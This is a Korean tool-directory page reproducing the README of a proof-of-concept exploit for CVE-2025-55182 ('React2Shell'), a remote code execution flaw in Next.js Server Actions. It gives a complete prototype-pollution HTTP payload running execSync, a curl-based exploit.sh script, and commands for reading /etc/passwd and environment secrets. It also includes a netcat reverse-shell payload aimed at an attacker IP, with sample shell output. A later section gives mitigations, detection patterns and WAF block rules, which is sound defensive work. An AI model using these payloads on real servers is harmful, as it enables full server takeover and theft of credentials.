Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
react2shell-exploit — React2Shell로도 알려진 CVE-2025-55182는 React Server Components(RSC)와 Server Actions를 사용하는 Next.js 애플리케이션에 영향을 미치는 치명적인 취약점입니다. | Kitploit
도구/GitHubGitHub/yannisduvignau/react2shell-exploit
ExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access ToolPayload Development
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

React2Shell로도 알려진 CVE-2025-55182는 React Server Components(RSC)와 Server Actions를 사용하는 Next.js 애플리케이션에 영향을 미치는 치명적인 취약점입니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
3개월 전아직 검토되지 않음

CVE-2025-55182 – React2Shell

Next.js 원격 코드 실행

⚠️ 면책 조항: 이 문서는 교육 및 보안 연구 목적으로만 제공됩니다. 귀하가 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 이러한 기술을 무단으로 사용하는 것은 불법입니다.


📋 목차

  1. 개요
  2. 작동 원리
  3. 설치 및 설정
  4. 단계별 악용
  5. 결과 및 영향
  6. 완화 전략

개요

CVE-2025-55182는 React2Shell로도 알려져 있으며, 다음을 사용하는 Next.js 애플리케이션에 영향을 미치는 치명적인 취약점입니다:

  • React 서버 컴포넌트 (RSC)
  • 서버 액션 (Server Actions)

왜 위험한가?

공격자는 다음을 악용하여 서버에서 원격 코드 실행 (RCE) 을 달성할 수 있습니다:

  1. RSC 페이로드의 안전하지 않은 역직렬화
  2. __proto__ 및 constructor를 통한 프로토타입 오염
  3. Next.js 서버 런타임의 동적 실행 경로

결과: Node.js 프로세스의 권한으로 임의의 시스템 명령이 실행될 수 있습니다.


작동 원리

1단계: Next.js RSC 프로토콜

Next.js는 클라이언트와 서버 간 통신을 위해 고유한 multipart/form-data 프로토콜을 사용합니다:

  • 클라이언트는 React 서버 컴포넌트를 서버로 전송합니다
  • 서버는 이를 역직렬화하고 처리합니다
  • 결과는 클라이언트로 반환됩니다
root@kitploit:~
Client (Browser)
    ↓
[multipart/form-data RSC payload]
    ↓
Next.js Server
    ↓
Deserialization + Execution
    ↓
Response

2단계: 약점 - 안전하지 않은 역직렬화

취약점은 다음 때문에 존재합니다:

  1. 역직렬화 전에 사용자 제어 데이터가 검증되지 않습니다
  2. 프로토타입 체인 접근이 허용됩니다 (__proto__, constructor)
  3. 요청 처리 중 특정 필드가 동적으로 평가됩니다

3단계: 프로토타입 오염 공격

공격자는 내부 객체 속성을 수정하는 페이로드를 제작할 수 있습니다:

root@kitploit:~
{
  "then": "$1:__proto__:then",  // 프로토타입 체인을 대상으로 함
  "_response": {
    "_prefix": "malicious code here"  // 코드 주입
  }
}

__proto__를 악용하여 공격자는 JavaScript 객체의 프로토타입을 오염시키고, 이를 상속하는 모든 객체에 영향을 미칩니다.

4단계: 코드 주입

공격자는 _prefix 필드 안에 다음을 수행하는 JavaScript 코드를 주입합니다:

  1. process.mainModule.require()를 통해 Node.js 모듈에 접근
  2. child_process 모듈 로드
  3. execSync()를 사용하여 시스템 명령 실행
root@kitploit:~
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

5단계: 결과 추출

명령 결과는 오류 응답에 숨겨집니다:

root@kitploit:~
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.js는 이 오류를 클라이언트에 반환하며, 명령 출력은 digest 필드에서 확인할 수 있습니다.


설치 및 설정

사전 요구 사항

  • Node.js 20
  • Burp Suite (또는 요청 가로채기용 유사 도구)
  • curl 또는 Postman (페이로드 전송용)

1단계: 취약한 서버 클론 및 설치

root@kitploit:~
# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Install Node.js 20
nvm install 20
nvm use 20

# Install dependencies
cd test-server
npm install

2단계: 서버 시작

root@kitploit:~
npm run dev

이제 서버는 다음 주소에서 접근할 수 있습니다:

root@kitploit:~
http://localhost:3000

3단계: 서버 실행 확인

root@kitploit:~
curl http://localhost:3000/

이 단계에서는 서버가 정상적으로 동작합니다.


단계별 악용

방법 1: Burp Suite 사용 (수동 가로채기)

1단계: 가로채기 활성화

  1. Burp Suite를 엽니다
  2. Proxy → Intercept 탭으로 이동합니다
  3. Intercept is on을 활성화합니다
  4. 브라우저에서 http://localhost:3000/에 접속합니다

2단계: 요청 가로채기

GET 요청이 가로채집니다. 이를 Repeater 탭으로 보냅니다:

  1. 마우스 오른쪽 클릭 → Send to Repeater
  2. Repeater 탭으로 이동합니다

3단계: 악성 페이로드로 교체

전체 요청을 다음 페이로드로 교체합니다:

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

4단계: 요청 전송

Send를 클릭합니다


방법 2: 자동화된 악용 스크립트

exploit.sh 파일을 생성합니다:

root@kitploit:~
#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

실행 권한을 부여합니다:

root@kitploit:~
chmod +x exploit.sh
./exploit.sh

예시 명령

파일 및 디렉터리 목록

root@kitploit:~
COMMAND="ls -la /"

현재 사용자 확인

root@kitploit:~
COMMAND="whoami"

파일 읽기

root@kitploit:~
COMMAND="cat /etc/passwd"

네트워크 연결 확인

root@kitploit:~
COMMAND="netstat -tuln"

환경 변수 가져오기

root@kitploit:~
COMMAND="env"

리버스 셸 (완전한 서버 접근)

완전한 대화형 셸 접근을 얻으려면 리버스 셸을 사용합니다.

공격자 시스템에서: 연결 대기

root@kitploit:~
ncat -lvnp 9009

또는 netcat 사용:

root@kitploit:~
nc -lvnp 9009

대상 시스템에서: 리버스 셸 페이로드 전송

다음 명령으로 페이로드를 수정합니다 (<ATTACKER_IP>를 자신의 IP 주소로 교체):

root@kitploit:~
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

전체 페이로드는 다음과 같습니다:

root@kitploit:~
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

기대 결과

root@kitploit:~
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin  boot  dev  etc  home  lib  ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

이제 대상 서버에서 완전한 대화형 셸을 사용할 수 있습니다.


결과 및 영향

서버 응답

악용에 성공하면:

  1. 서버는 HTTP 500 Internal Server Error로 응답합니다
  2. 응답 본문에는 실행된 시스템 명령의 출력이 포함됩니다
  3. 출력은 오류 응답의 digest 필드에 포함됩니다

예시 응답

root@kitploit:~
Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)

잠재적 영향

  • 🔥 완전한 원격 코드 실행 (RCE)
  • 📂 전체 파일시스템 접근
  • 🔐 자격 증명 및 비밀 탈취
  • 🚨 내부 네트워크 내 측면 이동
  • 💥 서버 완전 장악
  • 🔗 공급망 공격 (배포된 애플리케이션을 손상시키는 데 사용되는 경우)
  • 📊 데이터 유출 및 변조

완화 전략

시스템 관리자를 위한 지침

1. 즉시 Next.js 업데이트

root@kitploit:~
npm install next@latest

패치된 버전의 Next.js를 실행 중인지 확인하세요. 공식 보안 권고를 확인하십시오.

2. 엄격한 RSC 페이로드 검증

들어오는 RSC 페이로드에 대한 엄격한 검증을 추가합니다:

root@kitploit:~
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';

export function middleware(request: NextRequest) {
  // Reject suspicious payloads
  if (request.headers.get('content-type')?.includes('multipart/form-data')) {
    const bodyString = request.body?.toString() || '';
    
    // Block payloads containing dangerous patterns
    if (bodyString.includes('__proto__') || 
        bodyString.includes('constructor') ||
        bodyString.includes('child_process')) {
      console.error(`[SECURITY] Malicious payload attempt from ${request.ip}`);
      return new NextResponse('Forbidden', { status: 403 });
    }
  }
  
  return NextResponse.next();
}

export const config = {
  matcher: ['/:path*']
};

3. 필요하지 않으면 서버 액션 비활성화

next.config.js에서:

root@kitploit:~
module.exports = {
  experimental: {
    serverActions: {
      enabled: false // Disable if not needed
    }
  }
};

4. Node.js를 최소 권한으로 실행

root@kitploit:~
# Create a dedicated user
useradd -r -s /bin/false nextjs

# Run the service under this user
sudo -u nextjs node server.js

# Or with systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js

5. 축소된 권한으로 컨테이너 격리

제한된 capabilities로 Docker를 사용합니다:

root@kitploit:~
FROM node:20-alpine

# Create non-root user
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001

WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production

COPY . .

USER nextjs

EXPOSE 3000
CMD ["node", "server.js"]

제한된 capabilities로 컨테이너를 실행합니다:

root@kitploit:~
docker run \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  -u nextjs:nextjs \
  --security-opt=no-new-privileges \
  --read-only \
  --tmpfs /tmp \
  my-nextjs-app

6. 의심스러운 요청 모니터링

포괄적인 로깅을 구현합니다:

root@kitploit:~
// Custom logging middleware
app.use((req, res, next) => {
  // Log all POST requests with Next-Action header
  if (req.method === 'POST' && req.headers['next-action']) {
    const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
    const bodyString = JSON.stringify(req.body);
    
    const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
    
    if (isSuspicious) {
      console.error(`[SECURITY_ALERT] Exploit attempt detected from ${req.ip}`);
      console.error(`[SECURITY_ALERT] User-Agent: ${req.get('user-agent')}`);
      console.error(`[SECURITY_ALERT] Payload: ${bodyString.substring(0, 500)}`);
      
      // Alert security team
      // sendSecurityAlert(`Exploit attempt from ${req.ip}`);
      
      return res.status(403).json({ error: 'Forbidden' });
    }
  }
  
  next();
});

7. 웹 애플리케이션 방화벽 (WAF) 배포

WAF가 다음을 차단하도록 구성합니다:

ModSecurity 규칙:

root@kitploit:~
# Block __proto__ in request body
SecRule REQUEST_BODY "@contains __proto__" \
  "id:1001,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"

# Block constructor in request body
SecRule REQUEST_BODY "@contains constructor" \
  "id:1002,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"

# Block child_process module access
SecRule REQUEST_BODY "@contains child_process" \
  "id:1003,phase:2,deny,status:403,msg:'Code Execution Attempt'"

# Block execSync function
SecRule REQUEST_BODY "@contains execSync" \
  "id:1004,phase:2,deny,status:403,msg:'Code Execution Attempt'"

# Block require() statements
SecRule REQUEST_BODY "@rx require\s*\(" \
  "id:1005,phase:2,deny,status:403,msg:'Module Loading Attempt'"

AWS WAF 예시:

root@kitploit:~
{
  "Name": "BlockRCEAttempts",
  "Rules": [
    {
      "Name": "BlockProtoPolluton",
      "Priority": 1,
      "Statement": {
        "ByteMatchStatement": {
          "FieldToMatch": { "Body": {} },
          "TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
          "PositionalConstraint": "CONTAINS",
          "SearchString": "__proto__"
        }
      },
      "Action": { "Block": {} },
      "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "BlockProtoPolluton"
      }
    }
  ]
}

8. 콘텐츠 보안 정책 (CSP) 헤더

CSP는 주로 클라이언트 측을 보호하지만, 모범 사례로 권장됩니다:

root@kitploit:~
app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  next();
});

9. 정기적인 보안 감사

root@kitploit:~
# Scan dependencies for vulnerabilities
npm audit
npm audit fix

# Use snyk for continuous monitoring
snyk monitor

# Regular penetration testing
# Schedule quarterly security assessments

10. 침해 대응 계획

악용이 의심되는 경우:

root@kitploit:~
# 1. Check logs for suspicious patterns
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/

# 2. Check process history
ps aux | grep node
history | grep -E "(nc|ncat|bash)"

# 3. Check network connections
netstat -tuln
lsof -i -P -n

# 4. Isolate the affected system
sudo iptables -I INPUT -j DROP

# 5. Preserve evidence and logs
tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/

# 6. Notify your security team and apply patches

기술 심층 분석

페이로드 분석

root@kitploit:~
{
  // Step 1: Target the prototype chain
  "then": "$1:__proto__:then",
  
  // Step 2: Mark as resolved model
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  
  // Step 3: Inject code through _response
  "_response": {
    // The injected JavaScript code
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    
    // Reference to form data
    "_chunks": "$Q2",
    
    // Access constructor through form data
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

작동 이유

  1. Multipart 파싱: Next.js가 multipart form data를 파싱합니다
  2. 참조 해석: $1과 같은 참조는 다른 form 필드로 해석됩니다
  3. 객체 재구성: 파싱된 데이터에서 객체가 재구성됩니다
  4. 프로토타입 오염: __proto__ 경로가 객체 프로토타입을 수정합니다
  5. 코드 실행: _prefix 필드는 오류 처리 중에 평가됩니다
  6. 명령 실행: execSync가 임의의 명령을 실행합니다
  7. 결과 유출: 출력이 오류 digest에 포함됩니다

추가 자료

  • 원본 PoC: https://github.com/msanft/CVE-2025-55182/
  • Next.js 보안 문서: https://nextjs.org/docs/security
  • OWASP 프로토타입 오염: https://owasp.org/www-community/attacks/Prototype_pollution
  • Node.js 보안 모범 사례: https://nodejs.org/en/docs/guides/security/
  • CWE-502: 신뢰할 수 없는 데이터의 역직렬화: https://cwe.mitre.org/data/definitions/502.html

결론

CVE-2025-55182 (React2Shell) 는 다음과 같은 심각한 위험을 입증합니다:

✅ 사용자 제어 데이터의 안전하지 않은 역직렬화 ✅ JavaScript 프로토타입 체인의 프로토타입 오염 ✅ 적절한 검증 없는 동적 코드 실행

이 취약점은 다음의 중요성을 강조합니다:

  • 🔒 입력 검증: 사용자 입력을 절대 신뢰하지 마십시오
  • 🛡️ 심층 방어: 여러 보호 계층을 사용하십시오
  • ⚠️ 프레임워크 최신 유지: 보안 패치를 즉시 적용하십시오
  • 🔍 모니터링 및 로깅: 의심스러운 동작을 탐지하십시오
  • 🔐 최소 권한 원칙: 서비스를 최소 권한으로 실행하십시오
  • 🧪 정기적인 보안 테스트: 감사와 침투 테스트를 수행하십시오

라이선스: 교육 목적으로만 사용 - 컴퓨터 시스템에 대한 무단 접근은 불법입니다.

정당한 보안 연구 및 승인된 테스트를 위해서는 테스트를 수행하기 전에 시스템 소유자로부터 서면 허가를 받았는지 확인하십시오.

도구 다운로드